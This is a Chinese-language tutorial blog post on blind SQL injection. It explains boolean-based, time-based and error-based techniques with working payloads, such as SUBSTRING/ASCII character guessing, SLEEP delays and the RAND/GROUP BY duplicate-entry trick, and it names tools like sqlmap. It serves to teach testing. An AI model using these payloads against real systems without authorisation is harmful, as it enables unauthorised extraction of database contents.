什么是 SQL 盲注?三种常见方式全面详解

SQL 盲注(Blind SQL Injection)是 SQL 注入的一种特殊形式,常见于无明显错误信息或回显的系统中。

本文将从基础定义到三种主要类型,结合实际 payload,帮助你深入理解 SQL 盲注攻击原理与测试方法。

一、什么是 SQL 盲注?

SQL 盲注是指当注入成功后,服务器没有直接返回查询结果,但仍然执行了注入语句时,攻击者通过页面行为(如:是否报错、是否延迟、页面是否变化)来“盲猜”数据库信息的一种注入方式。

二、注入前的第一步:判断参数类型

判断参数是否为字符串或数字类型是构造 payload 的关键。

1. 数字型参数判断

?id=1 AND 1=1 -- 页面正常

?id=1' AND '1'='1 -- 页面报错(说明不能加引号)

结论:参数是数字型,payload 写法无需加引号。

2. 字符串型参数判断

?name=a AND 1=1 -- 页面报错

?name='a' AND 1=1 -- 页面正常(说明需要加引号)

结论:参数是字符串型,构造 payload 时需要用单引号包裹。

例如:

?name='a' AND '1'='1'

?name='a' AND ASCII(SUBSTRING((SELECT user()),1,1))=114

三、SQL 盲注的三大类型

1. 布尔盲注(Boolean-based)

通过构造返回“真”或“假”的条件,观察页面是否有响应差异。

探测阶段:

?id=1 AND 1=1 -- 页面正常

?id=1 AND 1=2 -- 页面空白或错误

构造猜测语句:

?id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))=109

解释:

SUBSTRING(str, start, length):从字符串中截取子串。ASCII():获取字符的 ASCII 编码。页面正常 → 数据库名第一个字符是 ASCII 为 109,即字母 m。

2. 时间盲注(Time-based)

利用数据库的延时函数,让页面在条件为“真”时延迟响应。

?id=1 AND IF(ASCII(SUBSTRING((SELECT user()),1,1))=114, SLEEP(5), 0)

如果页面延迟 5 秒,说明第一个字符是 'r'(ASCII = 114)。

常用数据库的延时函数:

数据库延时函数MySQLSLEEP(n)MSSQLWAITFOR DELAY '0:0:5'PostgreSQLpg_sleep(n)Oracledbms_pipe.receive_message('a', 5)

3. 报错盲注(Error-based)

通过构造会触发错误信息的语句,将数据库信息泄露在错误提示中。

?id=1 AND (

SELECT 1 FROM (

SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) AS x

FROM information_schema.tables

GROUP BY x

) a

)

原理解析:

(SELECT database()):获取当前数据库名(如:mysql)。FLOOR(RAND(0)*2):生成 0 或 1。CONCAT(...):拼接结果为如 mysql0。GROUP BY x:使重复值导致 Duplicate entry 错误,错误信息中会包含数据库名。

常用工具辅助测试

工具用途sqlmap自动化盲注检测与利用Burp Suite拦截并修改请求,结合 Repeater 精确调试 payloadHackBar(浏览器插件)快速测试注入点与 payload 构造

总结

SQL 盲注的核心在于**“猜测” + “观察”**。三种常见类型:布尔盲注、时间盲注、报错注入,各有用途,常搭配使用。学会判断参数类型是构造 payload 的基础。工具如 sqlmap 可以帮助自动化测试,但原理必须掌握。

如果你觉得本文对你有帮助,欢迎点赞、评论和关注我!感谢~